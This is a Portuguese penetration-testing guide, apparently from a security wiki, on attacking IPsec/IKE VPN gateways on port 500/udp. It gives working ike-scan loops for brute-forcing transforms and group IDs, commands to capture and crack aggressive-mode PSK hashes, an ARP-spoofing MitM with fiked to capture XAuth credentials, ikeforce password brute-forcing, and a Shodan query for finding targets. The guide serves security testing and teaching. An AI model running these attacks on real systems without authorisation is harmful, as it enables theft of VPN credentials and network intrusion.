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# 500/udp - Teste de penetração em VPN IPsec/IKE

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## Informações Básicas

**IPsec** é amplamente reconhecido como a principal tecnologia para garantir a segurança das comunicações entre redes (LAN-to-LAN) e de usuários remotos para o gateway de rede (acesso remoto), servindo como a espinha dorsal das soluções de VPN empresariais.

O estabelecimento de uma **associação de segurança (SA)** entre dois pontos é gerenciado pelo **IKE**, que opera sob o guarda-chuva do ISAKMP, um protocolo projetado para autenticação e troca de chaves. Esse processo se desenrola em várias fases:

- **Fase 1:** Um canal seguro é criado entre dois pontos. Isso é alcançado por meio do uso de uma Chave Pré-Compartilhada (PSK) ou certificados, empregando o modo principal, que envolve três pares de mensagens, ou **modo agressivo**.
- **Fase 1.5:** Embora não seja obrigatória, esta fase, conhecida como Fase de Autenticação Estendida, verifica a identidade do usuário que está tentando se conectar, exigindo um nome de usuário e senha.
- **Fase 2:** Esta fase é dedicada a negociar os parâmetros para garantir a segurança dos dados com **ESP** e **AH**. Isso permite o uso de algoritmos diferentes dos da Fase 1 para garantir **Sigilo Perfeito para Frente (PFS)**, aumentando a segurança.


**Porta padrão:** 500/udp

## **Descubra** o serviço usando nmap
```
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **Encontrar uma transformação válida**

A configuração do IPSec pode ser preparada para aceitar apenas uma ou algumas transformações. Uma transformação é uma combinação de valores. **Cada transformação** contém um número de atributos como DES ou 3DES como o algoritmo de **criptografia**, SHA ou MD5 como o algoritmo de **integridade**, uma chave pré-compartilhada como o tipo de **autenticação**, Diffie-Hellman 1 ou 2 como o algoritmo de **distribuição de chaves** e 28800 segundos como o **tempo de vida**.

Então, a primeira coisa que você tem que fazer é **encontrar uma transformação válida**, para que o servidor possa se comunicar com você. Para fazer isso, você pode usar a ferramenta **ike-scan**. Por padrão, o Ike-scan funciona no modo principal e envia um pacote para o gateway com um cabeçalho ISAKMP e uma única proposta com **oito transformações dentro dela**.

Dependendo da resposta, você pode obter algumas informações sobre o ponto final:
```
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
Como você pode ver na resposta anterior, há um campo chamado **AUTH** com o valor **PSK**. Isso significa que a VPN está configurada usando uma chave pré-compartilhada (e isso é realmente bom para um pentester).\
**O valor da última linha também é muito importante:**

* _0 returned handshake; 0 returned notify:_ Isso significa que o alvo **não é um gateway IPsec**.
* _**1 returned handshake; 0 returned notify:**_ Isso significa que o **alvo está configurado para IPsec e está disposto a realizar a negociação IKE, e uma ou mais das transformações que você propôs são aceitáveis** (uma transformação válida será mostrada na saída).
* _0 returned handshake; 1 returned notify:_ Os gateways VPN respondem com uma mensagem de notificação quando **nenhuma das transformações é aceitável** (embora alguns gateways não o façam, nesse caso, uma análise adicional e uma proposta revisada devem ser tentadas).

Então, neste caso, já temos uma transformação válida, mas se você estiver no 3º caso, então você precisa **forçar um pouco para encontrar uma transformação válida:**

Primeiro, você precisa criar todas as transformações possíveis:
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
E então fazer força bruta em cada um usando o ike-scan (isso pode levar vários minutos):
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
Se a tentativa de força bruta não funcionou, talvez o servidor esteja respondendo sem apertos de mão, mesmo para transformações válidas. Nesse caso, você poderia tentar a mesma abordagem de força bruta, mas usando o modo agressivo:
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
Esperançosamente **uma transformação válida é ecoada de volta**.\
Você pode tentar o **mesmo ataque** usando [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
Você também poderia tentar forçar transformações com [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
![](<../.gitbook/assets/image (109).png>)

No **Grupo DH: 14 = MODP de 2048 bits** e **15 = 3072 bits**\
**2 = HMAC-SHA = SHA1 (neste caso). O formato `--trans` é $Enc,$Hash,$Auth,$DH**

A Cisco indica evitar o uso dos grupos DH 1 e 2 porque não são suficientemente fortes. Especialistas acreditam que **países com muitos recursos podem facilmente quebrar a criptografia** de dados que usam esses grupos fracos. Isso é feito usando um método especial que os prepara para quebrar os códigos rapidamente. Mesmo que custe muito dinheiro para configurar esse método, permite a esses países poderosos ler os dados criptografados em tempo real se estiverem usando um grupo que não seja forte (como 1.024 bits ou menor).

### Fingerprinting do servidor

Em seguida, você pode usar o ike-scan para tentar **descobrir o fornecedor** do dispositivo. A ferramenta envia uma proposta inicial e para de retransmitir. Em seguida, ela **analisa** a **diferença de tempo** entre as **mensagens recebidas** do servidor e o padrão de resposta correspondente, o pentester pode identificar com sucesso o fornecedor do gateway VPN. Além disso, alguns servidores VPN usarão o payload opcional **Vendor ID (VID)** com o IKE.

**Especifique a transformação válida, se necessário** (usando --trans)

Se o IKE descobrir qual é o fornecedor, ele o imprimirá:
```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```
Isso também pode ser alcançado com o script do nmap _**ike-version**_

## Encontrando o ID correto (nome do grupo)

Para poder capturar o hash, você precisa de uma transformação válida que suporte o Modo Agressivo e o ID correto (nome do grupo). Provavelmente você não saberá o nome do grupo válido, então terá que fazer força bruta.\
Para fazer isso, eu recomendaria 2 métodos:

### Força bruta do ID com ike-scan

Primeiramente, tente fazer uma solicitação com um ID falso para tentar obter o hash ("-P"):
```bash
ike-scan -P -M -A -n fakeID <IP>
```
Se **nenhum hash for retornado**, então provavelmente este método de força bruta funcionará. **Se algum hash for retornado, isso significa que um hash falso será enviado de volta para um ID falso, então este método não será confiável** para forçar o ID. Por exemplo, um hash falso poderia ser retornado (isso acontece em versões modernas):

![](<../.gitbook/assets/image (110).png>)

Mas como eu disse, se nenhum hash for retornado, então você deve tentar forçar nomes de grupos comuns usando o ike-scan.

Este script **tentará forçar IDs possíveis** e retornará os IDs onde um handshake válido é retornado (este será um nome de grupo válido).

Se você descobriu uma transformação específica, adicione-a no comando ike-scan. E se você descobriu várias transformações, sinta-se à vontade para adicionar um novo loop para tentar todas elas (você deve tentar todas até que uma delas funcione corretamente).

Você pode usar o [dicionário do ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) ou [o do seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) de nomes comuns de grupos para forçá-los:
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
### Bruteforçando ID com Iker

[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) também utiliza o **ike-scan** para fazer força bruta em possíveis nomes de grupo. Ele segue seu próprio método para **encontrar um ID válido com base na saída do ike-scan**.

### Bruteforçando ID com ikeforce

[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) é uma ferramenta que pode ser usada para **fazer força bruta em IDs também**. Esta ferramenta irá **tentar explorar diferentes vulnerabilidades** que poderiam ser usadas para **distinguir entre um ID válido e um não válido** (pode haver falsos positivos e falsos negativos, por isso prefiro usar o método do ike-scan se possível).

Por padrão, o **ikeforce** enviará no início alguns IDs aleatórios para verificar o comportamento do servidor e determinar a tática a ser usada.

* O **primeiro método** é fazer força bruta nos nomes de grupo **pesquisando** as informações de **Detecção de Pares Inativos DPD** dos sistemas Cisco (essas informações são apenas respondidas pelo servidor se o nome do grupo estiver correto).
* O **segundo método** disponível é **verificar o número de respostas enviadas a cada tentativa** porque às vezes mais pacotes são enviados quando o ID correto é usado.
* O **terceiro método** consiste em **procurar por "INFORMAÇÃO DE ID INVÁLIDO" em resposta a um ID incorreto**.
* Por fim, se o servidor não responder a nada às verificações, o **ikeforce** tentará fazer força bruta no servidor e verificar se, quando o ID correto é enviado, o servidor responde com algum pacote.\
Obviamente, o objetivo de fazer força bruta no ID é obter o **PSK** quando você tem um ID válido. Em seguida, com o **ID** e o **PSK**, você terá que fazer força bruta no XAUTH (se estiver habilitado).

Se você descobriu uma transformação específica, adicione-a no comando do ikeforce. E se descobriu várias transformações, sinta-se à vontade para adicionar um novo loop para tentar todas elas (você deve tentar todas até que uma delas funcione corretamente).
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```

```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
```
### Captura de ID

(Do livro **Avaliação de Segurança de Rede: Conheça Sua Rede**): Também é possível obter nomes de usuário válidos ao capturar a conexão entre o cliente VPN e o servidor, já que o primeiro pacote do modo agressivo contendo o ID do cliente é enviado sem criptografia.

![](<../.gitbook/assets/image (111).png>)

## Capturando e quebrando o hash

Por fim, se você encontrou uma **transformação válida** e o **nome do grupo** e se o **modo agressivo for permitido**, então você pode facilmente capturar o hash que pode ser quebrado:
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
O hash será salvo dentro de _hash.txt_.

Você pode usar **psk-crack**, **john** (usando [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) e **hashcat** para **quebrar** o hash:
```bash
psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**

**Modo Aggressivo IKE** combinado com uma **Chave Pré-Compartilhada (PSK)** é comumente utilizado para fins de **autenticação em grupo**. Este método é complementado pelo **XAuth (Autenticação Estendida)**, que serve para introduzir uma camada adicional de **autenticação de usuário**. Essa autenticação normalmente utiliza serviços como o **Microsoft Active Directory**, **RADIUS**, ou sistemas comparáveis.

Ao migrar para o **IKEv2**, observa-se uma mudança significativa onde o **EAP (Protocolo de Autenticação Extensível)** é utilizado no lugar do **XAuth** com o propósito de autenticar usuários. Essa mudança destaca uma evolução nas práticas de autenticação dentro de protocolos de comunicação seguros.


### MitM na rede local para capturar credenciais

Dessa forma, é possível capturar os dados do login usando o _fiked_ e verificar se há algum nome de usuário padrão (Você precisa redirecionar o tráfego IKE para o `fiked` para sniffing, o que pode ser feito com a ajuda de ARP spoofing, [mais informações](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). O fiked atuará como um ponto final VPN e capturará as credenciais XAuth:
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
Também, usando IPSec tente fazer um ataque de MitM e bloquear todo o tráfego para a porta 500, se o túnel IPSec não puder ser estabelecido, talvez o tráfego seja enviado em texto claro.

### Forçando XAUTH username e senha com ikeforce

Para forçar o **XAUTH** (quando você conhece um nome de grupo válido **id** e o **psk**), você pode usar um nome de usuário ou uma lista de nomes de usuários e uma lista de senhas:
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
Desta forma, o ikeforce tentará se conectar usando cada combinação de nome de usuário:senha.

Se você encontrou uma ou várias transformações válidas, basta usá-las como nos passos anteriores.

## Autenticação com uma VPN IPSEC

No Kali, o **VPNC** é utilizado para estabelecer túneis IPsec. Os **perfis** devem estar localizados no diretório `/etc/vpnc/`. Você pode iniciar esses perfis usando o comando _**vpnc**_.

Os comandos e configurações a seguir ilustram o processo de configuração de uma conexão VPN com o VPNC:
```bash
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
```
Nesta configuração:

- Substitua `[VPN_GATEWAY_IP]` pelo endereço IP real do gateway VPN.
- Substitua `[VPN_CONNECTION_ID]` pelo identificador da conexão VPN.
- Substitua `[VPN_GROUP_SECRET]` pelo segredo do grupo VPN.
- Substitua `[VPN_USERNAME]` e `[VPN_PASSWORD]` pelas credenciais de autenticação VPN.
- `[PID]` simboliza o ID do processo que será atribuído quando o `vpnc` for iniciado.

Certifique-se de usar valores reais e seguros para substituir os espaços reservados ao configurar a VPN.

## Material de Referência

* [Artigo sobre quebra de PSK](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [Escaneando uma Implementação de VPN](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
* Avaliação de Segurança de Rede 3ª Edição

## Shodan

* `porta:500 IKE`

<figure><img src="broken-reference" alt=""><figcaption></figcaption></figure>

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